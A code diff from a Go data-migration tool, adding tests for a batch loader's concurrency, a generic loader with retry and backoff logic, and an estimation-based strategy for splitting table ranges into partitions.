+	}
+}
+
+func TestConsume_Passthrough_WgDoneBeforeErrorHandling(t *testing.T) {
+	db := newMockDb(mockResult{err: dbError()})
+	gl := newLoader(db)
+	chIn := make(chan models.Batch, 1)
+	chErr := make(chan custom_errors.JobError, 2)
+	var wg sync.WaitGroup
+	var rowsLoaded int64
+	var failedCount int32
+
+	sendBatch(chIn, makeBatch(2), &wg)
+	close(chIn)
+
+	<-runConsume(context.Background(), gl, rc(10), 0, chIn, chErr, &wg, &rowsLoaded, &failedCount)
+
+	select {
+	case <-waitWg(&wg):
+	case <-time.After(testTimeout):
+		t.Fatal("wg.Wait() timed out: Done() was not called even though processing failed")
+	}
+}
+
+func TestConsume_Passthrough_NonFatalError_Continues(t *testing.T) {
+	db := newMockDb(mockResult{err: dbError()})
+	gl := newLoader(db)
+	chIn := make(chan models.Batch, 2)
+	chErr := make(chan custom_errors.JobError, 3)
+	var wg sync.WaitGroup
+	var rowsLoaded int64
+	var failedCount int32
+
+	sendBatch(chIn, makeBatch(2), &wg)
+	sendBatch(chIn, makeBatch(3), &wg)
+	close(chIn)
+
+	<-runConsume(context.Background(), gl, rc(10), 0, chIn, chErr, &wg, &rowsLoaded, &failedCount)
+	wg.Wait()
+
+	if rowsLoaded != 3 {
+		t.Errorf("expected rowsLoaded=3 (only second batch succeeded), got %d", rowsLoaded)
+	}
+	if atomic.LoadInt32(&failedCount) != 1 {
+		t.Errorf("expected failedCount=1, got %d", failedCount)
+	}
+	if len(chErr) == 0 {
+		t.Error("expected at least one error in chErr for the failed batch")
+	}
+}
+
+func TestConsume_Passthrough_ThresholdExceeded_Exits(t *testing.T) {
+	db := newMockDb(mockResult{err: dbError()})
+	gl := newLoader(db)
+	chIn := make(chan models.Batch, 1)
+	chErr := make(chan custom_errors.JobError, 3)
+	var wg sync.WaitGroup
+	var rowsLoaded int64
+	var failedCount int32
+
+	sendBatch(chIn, makeBatch(1), &wg)
+
+	done := runConsume(context.Background(), gl, rc(0), 0, chIn, chErr, &wg, &rowsLoaded, &failedCount)
+
+	select {
+	case <-done:
+	case <-time.After(testTimeout):
+		t.Fatal("Consume did not exit after threshold exceeded")
+	}
+
+	select {
+	case <-waitWg(&wg):
+	case <-time.After(testTimeout):
+		t.Fatal("wg.Wait() timed out after threshold exit")
+	}
+}
+
+func TestConsume_Accumulation_FlushOnThreshold(t *testing.T) {
+	db := newMockDb()
+	gl := newLoader(db)
+	chIn := make(chan models.Batch, 3)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+	var rowsLoaded int64
+	var failedCount int32
+
+	sendBatch(chIn, makeBatch(1), &wg)
+	sendBatch(chIn, makeBatch(1), &wg)
+	sendBatch(chIn, makeBatch(1), &wg)
+	close(chIn)
+
+	<-runConsume(context.Background(), gl, rc(0), 3, chIn, chErr, &wg, &rowsLoaded, &failedCount)
+	wg.Wait()
+
+	if rowsLoaded != 3 {
+		t.Errorf("expected rowsLoaded=3, got %d", rowsLoaded)
+	}
+	if db.callCount != 1 {
+		t.Errorf("expected 1 SaveMassive call, got %d", db.callCount)
+	}
+}
+
+func TestConsume_Accumulation_FlushOnClose(t *testing.T) {
+	db := newMockDb()
+	gl := newLoader(db)
+	chIn := make(chan models.Batch, 2)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+	var rowsLoaded int64
+	var failedCount int32
+
+	sendBatch(chIn, makeBatch(2), &wg)
+	sendBatch(chIn, makeBatch(3), &wg)
+	close(chIn)
+
+	<-runConsume(context.Background(), gl, rc(0), 10, chIn, chErr, &wg, &rowsLoaded, &failedCount)
+	wg.Wait()
+
+	if rowsLoaded != 5 {
+		t.Errorf("expected rowsLoaded=5, got %d", rowsLoaded)
+	}
+	if db.callCount != 1 {
+		t.Errorf("expected exactly 1 SaveMassive call (single flush on close), got %d", db.callCount)
+	}
+}
+
+func TestConsume_Accumulation_RowsLoadedCorrect(t *testing.T) {
+	db := newMockDb()
+	gl := newLoader(db)
+	chIn := make(chan models.Batch, 5)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+	var rowsLoaded int64
+	var failedCount int32
+
+	for range 5 {
+		sendBatch(chIn, makeBatch(2), &wg)
+	}
+	close(chIn)
+
+	<-runConsume(context.Background(), gl, rc(0), 4, chIn, chErr, &wg, &rowsLoaded, &failedCount)
+	wg.Wait()
+
+	if rowsLoaded != 10 {
+		t.Errorf("expected rowsLoaded=10, got %d", rowsLoaded)
+	}
+	if db.callCount != 3 {
+		t.Errorf("expected 3 SaveMassive calls (2 threshold flushes + 1 on close), got %d", db.callCount)
+	}
+}
+
+func TestConsume_Accumulation_WgBalanced_OnContextCancel(t *testing.T) {
+	db := newMockDb()
+	gl := newLoader(db)
+	chIn := make(chan models.Batch)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+	var rowsLoaded int64
+	var failedCount int32
+
+	ctx, cancel := context.WithCancel(context.Background())
+	done := runConsume(ctx, gl, rc(0), 10, chIn, chErr, &wg, &rowsLoaded, &failedCount)
+
+	sendBatch(chIn, makeBatch(1), &wg)
+	sendBatch(chIn, makeBatch(1), &wg)
+	cancel()
+
+	select {
+	case <-done:
+	case <-time.After(testTimeout):
+		t.Fatal("Consume did not exit after context cancellation")
+	}
+
+	select {
+	case <-waitWg(&wg):
+	case <-time.After(testTimeout):
+		t.Fatal("wg.Wait() timed out: drainPending did not release accumulated batches on cancel")
+	}
+}
+
+func TestConsume_Accumulation_ErrorInFlush_WgStillBalanced(t *testing.T) {
+	db := newMockDb(mockResult{err: dbError()})
+	gl := newLoader(db)
+	chIn := make(chan models.Batch, 2)
+	chErr := make(chan custom_errors.JobError, 3)
+	var wg sync.WaitGroup
+	var rowsLoaded int64
+	var failedCount int32
+
+	sendBatch(chIn, makeBatch(1), &wg)
+	sendBatch(chIn, makeBatch(1), &wg)
+	close(chIn)
+
+	<-runConsume(context.Background(), gl, rc(10), 2, chIn, chErr, &wg, &rowsLoaded, &failedCount)
+
+	select {
+	case <-waitWg(&wg):
+	case <-time.After(testTimeout):
+		t.Fatal("wg.Wait() timed out: wg.Done() not called after flush error")
+	}
+}
+
+func TestConsume_Accumulation_MultipleFlushes_NonFatalErrors(t *testing.T) {
+	db := newMockDb(mockResult{err: dbError()}, mockResult{err: dbError()})
+	gl := newLoader(db)
+	chIn := make(chan models.Batch, 4)
+	chErr := make(chan custom_errors.JobError, 6)
+	var wg sync.WaitGroup
+	var rowsLoaded int64
+	var failedCount int32
+
+	for range 4 {
+		sendBatch(chIn, makeBatch(1), &wg)
+	}
+	close(chIn)
+
+	<-runConsume(context.Background(), gl, rc(10), 2, chIn, chErr, &wg, &rowsLoaded, &failedCount)
+
+	select {
+	case <-waitWg(&wg):
+	case <-time.After(testTimeout):
+		t.Fatal("wg.Wait() timed out")
+	}
+
+	if atomic.LoadInt32(&failedCount) != 2 {
+		t.Errorf("expected failedCount=2, got %d", failedCount)
+	}
+	if rowsLoaded != 0 {
+		t.Errorf("expected rowsLoaded=0 (all batches failed), got %d", rowsLoaded)
+	}
+}
+
+func TestConsume_EmptyInput_NoProcessing(t *testing.T) {
+	db := newMockDb()
+	gl := newLoader(db)
+	chIn := make(chan models.Batch)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+	var rowsLoaded int64
+	var failedCount int32
+
+	close(chIn)
+
+	done := runConsume(context.Background(), gl, rc(0), 5, chIn, chErr, &wg, &rowsLoaded, &failedCount)
+
+	select {
+	case <-done:
+	case <-time.After(testTimeout):
+		t.Fatal("Consume did not exit after empty input channel was closed")
+	}
+
+	if db.callCount != 0 {
+		t.Errorf("expected no SaveMassive calls, got %d", db.callCount)
+	}
+	if rowsLoaded != 0 {
+		t.Errorf("expected rowsLoaded=0, got %d", rowsLoaded)
+	}
+	wg.Wait()
+}
+
+func TestConsume_ContextCancellation_Exits(t *testing.T) {
+	db := newMockDb()
+	gl := newLoader(db)
+	chIn := make(chan models.Batch)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+	var rowsLoaded int64
+	var failedCount int32
+
+	ctx, cancel := context.WithCancel(context.Background())
+	done := runConsume(ctx, gl, rc(0), 0, chIn, chErr, &wg, &rowsLoaded, &failedCount)
+
+	cancel()
+
+	select {
+	case <-done:
+	case <-time.After(testTimeout):
+		t.Fatal("Consume did not exit after context cancellation")
+	}
+	wg.Wait()
+}

internal/app/etl/loaders/main.go

@@ -0,0 +1,13 @@
+package loaders
+
+import (
+	dbwrapper "git.ksdemosapps.com/kylesoda/go-migrate/internal/app/db-wrapper"
+)
+
+type GenericLoader struct {
+	db dbwrapper.DbWrapper
+}
+
+func NewGenericLoader(db dbwrapper.DbWrapper) GenericLoader {
+	return GenericLoader{db: db}
+}

internal/app/etl/loaders/postgres.go

@@ -1,127 +0,0 @@
-package loaders
-
-import (
-	"context"
-	"errors"
-	"fmt"
-	"sync"
-	"sync/atomic"
-
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/custom_errors"
-	dbwrapper "git.ksdemosapps.com/kylesoda/go-migrate/internal/app/db-wrapper"
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl"
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
-	"github.com/jackc/pgx/v5/pgconn"
-)
-
-type PostgresLoader struct {
-	db dbwrapper.DbWrapper
-}
-
-func NewPostgresLoader(db dbwrapper.DbWrapper) etl.Loader {
-	return &PostgresLoader{db: db}
-}
-
-func mapSlice[T any, V any](input []T, mapper func(T) V) []V {
-	result := make([]V, len(input))
-
-	for i, v := range input {
-		result[i] = mapper(v)
-	}
-
-	return result
-}
-
-func (postgresLd *PostgresLoader) ProcessBatch(
-	ctx context.Context,
-	tableInfo config.TargetTableInfo,
-	colNames []string,
-	batch models.Batch,
-) (int, error) {
-	_, err := postgresLd.db.SaveMassive(
-		ctx,
-		tableInfo.Schema,
-		tableInfo.Table,
-		colNames,
-		batch.Rows,
-	)
-
-	if err != nil {
-		var pgErr *pgconn.PgError
-		if errors.As(err, &pgErr) {
-			if pgErr.Code == "23505" {
-				return 0, &custom_errors.JobError{
-					ShouldCancelJob: true,
-					Msg:             fmt.Sprintf("Fatal error in table %s.%s", tableInfo.Schema, tableInfo.Table),
-					Prev:            err,
-				}
-			}
-		}
-
-		return 0, &custom_errors.LoaderError{Batch: batch, Msg: err.Error()}
-	}
-
-	return len(batch.Rows), nil
-}
-
-func (postgresLd *PostgresLoader) Exec(
-	ctx context.Context,
-	tableInfo config.TargetTableInfo,
-	columns []models.ColumnType,
-	chBatchesIn <-chan models.Batch,
-	chErrorsOut chan<- custom_errors.LoaderError,
-	chJobErrorsOut chan<- custom_errors.JobError,
-	wgActiveBatches *sync.WaitGroup,
-	rowsLoaded *int64,
-) {
-	colNames := mapSlice(columns, func(col models.ColumnType) string {
-		return col.Name()
-	})
-
-	for {
-		if ctx.Err() != nil {
-			return
-		}
-
-		select {
-		case <-ctx.Done():
-			return
-		case batch, ok := <-chBatchesIn:
-			if !ok {
-				return
-			}
-
-			processedRows, err := postgresLd.ProcessBatch(ctx, tableInfo, colNames, batch)
-
-			if err != nil {
-				var ldError *custom_errors.LoaderError
-				var jobError *custom_errors.JobError
-				if errors.As(err, &ldError) {
-					select {
-					case <-ctx.Done():
-						return
-					case chErrorsOut <- *ldError:
-					}
-				} else if errors.As(err, &jobError) {
-					select {
-					case <-ctx.Done():
-						return
-					case chJobErrorsOut <- *jobError:
-					}
-				} else {
-					select {
-					case <-ctx.Done():
-						return
-					case chErrorsOut <- custom_errors.LoaderError{Batch: batch, Msg: err.Error()}:
-					}
-				}
-
-				continue
-			}
-
-			wgActiveBatches.Done()
-			atomic.AddInt64(rowsLoaded, int64(processedRows))
-		}
-	}
-}

internal/app/etl/loaders/process-with-retries.go

@@ -0,0 +1,49 @@
+package loaders
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"time"
+
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/custom_errors"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
+)
+
+func (gl *GenericLoader) ProcessBatchWithRetries(
+	ctx context.Context,
+	tableInfo config.TargetTableInfo,
+	colNames []string,
+	retryConfig config.RetryConfig,
+	batch models.Batch,
+) (int64, error) {
+	for {
+		rowsLoaded, err := gl.ProcessBatch(ctx, tableInfo, colNames, batch)
+		if err == nil {
+			return rowsLoaded, nil
+		}
+
+		if btError, ok := errors.AsType[*custom_errors.LoaderError](err); ok {
+			batch.RetryCounter++
+
+			if batch.RetryCounter >= retryConfig.Attempts {
+				return rowsLoaded, &custom_errors.JobError{
+					Msg:  fmt.Sprintf("Batch %v reached max retries (%d)", batch.Id, batch.RetryCounter),
+					Prev: btError,
+				}
+			}
+
+			delay := custom_errors.ComputeBackoffDelay(
+				batch.RetryCounter,
+				retryConfig.BaseDelayMs,
+				retryConfig.MaxDelayMs,
+				retryConfig.MaxJitterMs,
+			)
+			time.Sleep(delay)
+			continue
+		}
+
+		return rowsLoaded, err
+	}
+}

internal/app/etl/loaders/process.go

@@ -0,0 +1,43 @@
+package loaders
+
+import (
+	"context"
+	"errors"
+	"fmt"
+
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/custom_errors"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
+	"github.com/jackc/pgx/v5/pgconn"
+)
+
+func (gl *GenericLoader) ProcessBatch(
+	ctx context.Context,
+	tableInfo config.TargetTableInfo,
+	colNames []string,
+	batch models.Batch,
+) (int64, error) {
+	_, err := gl.db.SaveMassive(
+		ctx,
+		tableInfo.Schema,
+		tableInfo.Table,
+		colNames,
+		batch.Rows,
+	)
+
+	if err != nil {
+		if pgErr, ok := errors.AsType[*pgconn.PgError](err); ok {
+			if pgErr.Code == "23505" {
+				return 0, &custom_errors.JobError{
+					ShouldCancelJob: true,
+					Msg:             fmt.Sprintf("Fatal error in table %s.%s", tableInfo.Schema, tableInfo.Table),
+					Prev:            err,
+				}
+			}
+		}
+
+		return 0, &custom_errors.LoaderError{Batch: batch, Msg: err.Error()}
+	}
+
+	return int64(len(batch.Rows)), nil
+}

internal/app/etl/loaders/types.go

@@ -1 +0,0 @@
-package loaders

internal/app/etl/loaders/utils.go

@@ -0,0 +1,11 @@
+package loaders
+
+func mapSlice[T any, V any](input []T, mapper func(T) V) []V {
+	result := make([]V, len(input))
+
+	for i, v := range input {
+		result[i] = mapper(v)
+	}
+
+	return result
+}

internal/app/etl/table_analyzers/main.go

@@ -2,11 +2,13 @@ package table_analyzers
 
 import (
 	"context"
+	"math"
 
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
 	"github.com/google/uuid"
+	"github.com/sirupsen/logrus"
 )
 
 func PartitionRangeGenerator(
@@ -14,27 +16,118 @@ func PartitionRangeGenerator(
 	tableAnalyzer etl.TableAnalyzer,
 	tableInfo config.TableInfo,
 	partitionColumn string,
+	partitionCalculationStrategy string,
 	rowsPerPartition int64,
+	jobRange config.RangeConfig,
 ) ([]models.Partition, error) {
 	rowsCount, err := tableAnalyzer.EstimateTotalRows(ctx, tableInfo)
+	logrus.Infof("Estimated rows in source: %v (%s.%s)", rowsCount, tableInfo.Schema, tableInfo.Table)
 	if err != nil {
 		return nil, err
 	}
 
 	if rowsCount <= rowsPerPartition {
-		return []models.Partition{{
+		hasRange := jobRange.Min != nil || jobRange.Max != nil
-			Id:           uuid.New(),
+		partition := models.Partition{Id: uuid.New(), HasRange: hasRange, RetryCounter: 0}
-			HasRange:     false,
+		if hasRange {
-			RetryCounter: 0,
+			var min, max int64
-		}}, nil
+			if jobRange.Min != nil {
-
+				min = *jobRange.Min
+			}
+			if jobRange.Max != nil {
+				max = *jobRange.Max
+			}
+			partition.Range = models.PartitionRange{
+				Min:            min,
+				Max:            max,
+				IsMinInclusive: jobRange.IsMinInclusive,
+				IsMaxInclusive: jobRange.IsMaxInclusive,
+			}
+		}
+		return []models.Partition{partition}, nil
 	}
 
 	partitionsCount := rowsCount / rowsPerPartition
-	partitions, err := tableAnalyzer.CalculatePartitionRanges(ctx, tableInfo, partitionColumn, partitionsCount)
+
+	if partitionCalculationStrategy == "ESTIMATION" {
+		return calculatePartitionsEstimation(ctx, tableAnalyzer, tableInfo, partitionColumn, partitionsCount, jobRange)
+	}
+
+	partitions, err := tableAnalyzer.CalculatePartitionRanges(ctx, tableInfo, partitionColumn, partitionsCount, jobRange)
 	if err != nil {
 		return nil, err
 	}
 
+	logrus.Debugf("Partitions count: %v (%s.%s)", len(partitions), tableInfo.Schema, tableInfo.Table)
+
+	return partitions, nil
+}
+
+func calculatePartitionsEstimation(
+	ctx context.Context,
+	tableAnalyzer etl.TableAnalyzer,
+	tableInfo config.TableInfo,
+	partitionColumn string,
+	partitionsCount int64,
+	rangeConstraint config.RangeConfig,
+) ([]models.Partition, error) {
+	var minValue, maxValue int64
+
+	if rangeConstraint.Min != nil && rangeConstraint.Max != nil {
+		minValue = *rangeConstraint.Min
+		maxValue = *rangeConstraint.Max
+		logrus.Infof("Column range for %s.%s.%s: [%d, %d] (user-defined)", tableInfo.Schema, tableInfo.Table, partitionColumn, minValue, maxValue)
+	} else if rangeConstraint.Min != nil || rangeConstraint.Max != nil {
+		result, err := tableAnalyzer.QueryMaxMinFromColumn(ctx, tableInfo, partitionColumn)
+		if err != nil {
+			return nil, err
+		}
+		if rangeConstraint.Min != nil {
+			minValue = *rangeConstraint.Min
+			maxValue = result.Max
+			logrus.Infof("Column range for %s.%s.%s: [%d, %d] (min user-defined)", tableInfo.Schema, tableInfo.Table, partitionColumn, minValue, maxValue)
+		} else {
+			minValue = result.Min
+			maxValue = *rangeConstraint.Max
+			logrus.Infof("Column range for %s.%s.%s: [%d, %d] (max user-defined)", tableInfo.Schema, tableInfo.Table, partitionColumn, minValue, maxValue)
+		}
+	} else {
+		result, err := tableAnalyzer.QueryMaxMinFromColumn(ctx, tableInfo, partitionColumn)
+		if err != nil {
+			return nil, err
+		}
+		logrus.Infof("Column range for %s.%s.%s: [%d, %d]", tableInfo.Schema, tableInfo.Table, partitionColumn, result.Min, result.Max)
+		minValue = result.Min
+		maxValue = result.Max
+	}
+	rangeSize := maxValue - minValue
+	stepSize := int64(math.Ceil(float64(rangeSize) / float64(partitionsCount)))
+
+	partitions := make([]models.Partition, 0, partitionsCount)
+
+	for i := range partitionsCount {
+		partitionMin := minValue + (i * stepSize)
+		partitionMax := minValue + ((i + 1) * stepSize)
+
+		if i == partitionsCount-1 {
+			partitionMax = maxValue
+		}
+
+		isMinInclusive := i == 0
+		partition := models.Partition{
+			Id:           uuid.New(),
+			HasRange:     true,
+			RetryCounter: 0,
+			Range: models.PartitionRange{
+				Min:            partitionMin,
+				Max:            partitionMax,
+				IsMinInclusive: isMinInclusive,
+				IsMaxInclusive: true,
+			},
+		}
+
+		partitions = append(partitions, partition)
+	}
+
 	return partitions, nil
 }

internal/app/etl/table_analyzers/main_test.go

@@ -0,0 +1,332 @@
+package table_analyzers
+
+import (
+	"context"
+	"testing"
+
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
+)
+
+type MockTableAnalyzer struct {
+	minValue  int64
+	maxValue  int64
+	totalRows int64
+	capturedRangeConstraint config.RangeConfig
+}
+
+func (m *MockTableAnalyzer) QueryColumnTypes(_ context.Context, _ config.TableInfo) ([]models.ColumnType, error) {
+	return nil, nil
+}
+
+func (m *MockTableAnalyzer) EstimateTotalRows(_ context.Context, _ config.TableInfo) (int64, error) {
+	return m.totalRows, nil
+}
+
+func (m *MockTableAnalyzer) QueryMaxMinFromColumn(_ context.Context, _ config.TableInfo, _ string) (etl.MaxMinColumnResult, error) {
+	return etl.MaxMinColumnResult{Min: m.minValue, Max: m.maxValue}, nil
+}
+
+func (m *MockTableAnalyzer) CalculatePartitionRanges(_ context.Context, _ config.TableInfo, _ string, _ int64, rangeConstraint config.RangeConfig) ([]models.Partition, error) {
+	m.capturedRangeConstraint = rangeConstraint
+	return []models.Partition{}, nil
+}
+
+//go:fix inline
+func ptr64(v int64) *int64 { return new(v) }
+
+var testTableInfo = config.TableInfo{Schema: "dbo", Table: "test"}
+
+func TestCalculatePartitionsEstimation_NoOverlap(t *testing.T) {
+	ctx := context.Background()
+	mock := &MockTableAnalyzer{minValue: 0, maxValue: 100}
+
+	partitions, err := calculatePartitionsEstimation(ctx, mock, testTableInfo, "id", 4, config.RangeConfig{})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(partitions) != 4 {
+		t.Errorf("expected 4 partitions, got %d", len(partitions))
+	}
+
+	for i := 0; i < len(partitions)-1; i++ {
+		current := partitions[i].Range
+		next := partitions[i+1].Range
+		if current.Max == next.Min && current.IsMaxInclusive && next.IsMinInclusive {
+			t.Errorf("partition %d and %d overlap at value %d (both inclusive)", i, i+1, current.Max)
+		}
+	}
+}
+
+func TestCalculatePartitionsEstimation_CoverageComplete(t *testing.T) {
+	ctx := context.Background()
+	mock := &MockTableAnalyzer{minValue: 1000, maxValue: 2000}
+
+	partitions, err := calculatePartitionsEstimation(ctx, mock, testTableInfo, "id", 5, config.RangeConfig{})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if partitions[0].Range.Min != 1000 || !partitions[0].Range.IsMinInclusive {
+		t.Errorf("first partition should start at 1000 (inclusive), got %d (inclusive=%v)",
+			partitions[0].Range.Min, partitions[0].Range.IsMinInclusive)
+	}
+
+	if partitions[len(partitions)-1].Range.Max != 2000 {
+		t.Errorf("last partition should end at 2000, got %d", partitions[len(partitions)-1].Range.Max)
+	}
+}
+
+func TestCalculatePartitionsEstimation_FirstPartitionInclusive(t *testing.T) {
+	ctx := context.Background()
+	mock := &MockTableAnalyzer{minValue: 50, maxValue: 70}
+
+	partitions, err := calculatePartitionsEstimation(ctx, mock, testTableInfo, "id", 3, config.RangeConfig{})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if !partitions[0].Range.IsMinInclusive {
+		t.Errorf("first partition should have IsMinInclusive=true")
+	}
+
+	if partitions[0].Range.Min != 50 {
+		t.Errorf("first partition should start at 50, got %d", partitions[0].Range.Min)
+	}
+
+	for i := 1; i < len(partitions); i++ {
+		if partitions[i].Range.IsMinInclusive {
+			t.Errorf("partition %d should have IsMinInclusive=false to avoid overlap", i)
+		}
+	}
+}
+
+func TestPartitionRangeGenerator_Exact_NoRange_PassesEmptyConstraint(t *testing.T) {
+	ctx := context.Background()
+	mock := &MockTableAnalyzer{totalRows: 1000}
+
+	_, err := PartitionRangeGenerator(ctx, mock, testTableInfo, "id", "EXACT", 100, config.RangeConfig{})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if mock.capturedRangeConstraint.Min != nil || mock.capturedRangeConstraint.Max != nil {
+		t.Errorf("expected empty range constraint, got min=%v max=%v",
+			mock.capturedRangeConstraint.Min, mock.capturedRangeConstraint.Max)
+	}
+}
+
+func TestPartitionRangeGenerator_Exact_BothBounds_PassesBothToAnalyzer(t *testing.T) {
+	ctx := context.Background()
+	mock := &MockTableAnalyzer{totalRows: 1000}
+	jobRange := config.RangeConfig{Min: ptr64(200), Max: ptr64(800), IsMinInclusive: true, IsMaxInclusive: true}
+
+	_, err := PartitionRangeGenerator(ctx, mock, testTableInfo, "id", "EXACT", 100, jobRange)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	rc := mock.capturedRangeConstraint
+	if rc.Min == nil || *rc.Min != 200 {
+		t.Errorf("expected Min=200, got %v", rc.Min)
+	}
+	if rc.Max == nil || *rc.Max != 800 {
+		t.Errorf("expected Max=800, got %v", rc.Max)
+	}
+	if !rc.IsMinInclusive || !rc.IsMaxInclusive {
+		t.Errorf("expected both bounds inclusive, got minInc=%v maxInc=%v", rc.IsMinInclusive, rc.IsMaxInclusive)
+	}
+}
+
+func TestPartitionRangeGenerator_Exact_MinOnly_PassesMinNilMax(t *testing.T) {
+	ctx := context.Background()
+	mock := &MockTableAnalyzer{totalRows: 1000}
+	jobRange := config.RangeConfig{Min: ptr64(500)}
+
+	_, err := PartitionRangeGenerator(ctx, mock, testTableInfo, "id", "EXACT", 100, jobRange)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	rc := mock.capturedRangeConstraint
+	if rc.Min == nil || *rc.Min != 500 {
+		t.Errorf("expected Min=500, got %v", rc.Min)
+	}
+	if rc.Max != nil {
+		t.Errorf("expected Max=nil (no upper bound), got %v", rc.Max)
+	}
+}
+
+func TestPartitionRangeGenerator_Exact_MaxOnly_PassesMaxNilMin(t *testing.T) {
+	ctx := context.Background()
+	mock := &MockTableAnalyzer{totalRows: 1000}
+	jobRange := config.RangeConfig{Max: ptr64(300)}
+
+	_, err := PartitionRangeGenerator(ctx, mock, testTableInfo, "id", "EXACT", 100, jobRange)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	rc := mock.capturedRangeConstraint
+	if rc.Min != nil {
+		t.Errorf("expected Min=nil (no lower bound), got %v", rc.Min)
+	}
+	if rc.Max == nil || *rc.Max != 300 {
+		t.Errorf("expected Max=300, got %v", rc.Max)
+	}
+}
+
+func TestPartitionRangeGenerator_Estimation_BothBounds_UsesUserRange(t *testing.T) {
+	ctx := context.Background()
+	// DB min/max differ intentionally — user bounds should take precedence.
+	mock := &MockTableAnalyzer{totalRows: 1000, minValue: 0, maxValue: 999}
+	jobRange := config.RangeConfig{Min: ptr64(200), Max: ptr64(700), IsMinInclusive: true}
+
+	partitions, err := PartitionRangeGenerator(ctx, mock, testTableInfo, "id", "ESTIMATION", 100, jobRange)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(partitions) == 0 {
+		t.Fatal("expected at least one partition")
+	}
+
+	if partitions[0].Range.Min != 200 {
+		t.Errorf("first partition should start at user min=200, got %d", partitions[0].Range.Min)
+	}
+	if partitions[len(partitions)-1].Range.Max != 700 {
+		t.Errorf("last partition should end at user max=700, got %d", partitions[len(partitions)-1].Range.Max)
+	}
+}
+
+func TestPartitionRangeGenerator_Estimation_MinOnly_QueriesDBForMax(t *testing.T) {
+	ctx := context.Background()
+	mock := &MockTableAnalyzer{totalRows: 1000, minValue: 0, maxValue: 999}
+	jobRange := config.RangeConfig{Min: ptr64(500), IsMinInclusive: true}
+
+	partitions, err := PartitionRangeGenerator(ctx, mock, testTableInfo, "id", "ESTIMATION", 100, jobRange)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(partitions) == 0 {
+		t.Fatal("expected at least one partition")
+	}
+
+	if partitions[0].Range.Min != 500 {
+		t.Errorf("first partition should start at user min=500, got %d", partitions[0].Range.Min)
+	}
+	if partitions[len(partitions)-1].Range.Max != 999 {
+		t.Errorf("last partition should end at DB max=999, got %d", partitions[len(partitions)-1].Range.Max)
+	}
+}
+
+func TestPartitionRangeGenerator_Estimation_MaxOnly_QueriesDBForMin(t *testing.T) {
+	ctx := context.Background()
+	mock := &MockTableAnalyzer{totalRows: 1000, minValue: 100, maxValue: 999}
+	jobRange := config.RangeConfig{Max: ptr64(600), IsMaxInclusive: true}
+
+	partitions, err := PartitionRangeGenerator(ctx, mock, testTableInfo, "id", "ESTIMATION", 100, jobRange)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(partitions) == 0 {
+		t.Fatal("expected at least one partition")
+	}
+
+	if partitions[0].Range.Min != 100 {
+		t.Errorf("first partition should start at DB min=100, got %d", partitions[0].Range.Min)
+	}
+	if partitions[len(partitions)-1].Range.Max != 600 {
+		t.Errorf("last partition should end at user max=600, got %d", partitions[len(partitions)-1].Range.Max)
+	}
+}
+
+func TestPartitionRangeGenerator_SinglePartition_NoRange(t *testing.T) {
+	ctx := context.Background()
+	mock := &MockTableAnalyzer{totalRows: 50}
+
+	partitions, err := PartitionRangeGenerator(ctx, mock, testTableInfo, "id", "EXACT", 100, config.RangeConfig{})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(partitions) != 1 {
+		t.Fatalf("expected 1 partition, got %d", len(partitions))
+	}
+	if partitions[0].HasRange {
+		t.Error("single partition with no range should have HasRange=false")
+	}
+}
+
+func TestPartitionRangeGenerator_SinglePartition_BothBounds(t *testing.T) {
+	ctx := context.Background()
+	mock := &MockTableAnalyzer{totalRows: 50}
+	jobRange := config.RangeConfig{Min: ptr64(100), Max: ptr64(200), IsMinInclusive: true, IsMaxInclusive: true}
+
+	partitions, err := PartitionRangeGenerator(ctx, mock, testTableInfo, "id", "EXACT", 100, jobRange)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(partitions) != 1 {
+		t.Fatalf("expected 1 partition, got %d", len(partitions))
+	}
+	p := partitions[0]
+	if !p.HasRange {
+		t.Error("expected HasRange=true")
+	}
+	if p.Range.Min != 100 || p.Range.Max != 200 {
+		t.Errorf("expected [100, 200], got [%d, %d]", p.Range.Min, p.Range.Max)
+	}
+	if !p.Range.IsMinInclusive || !p.Range.IsMaxInclusive {
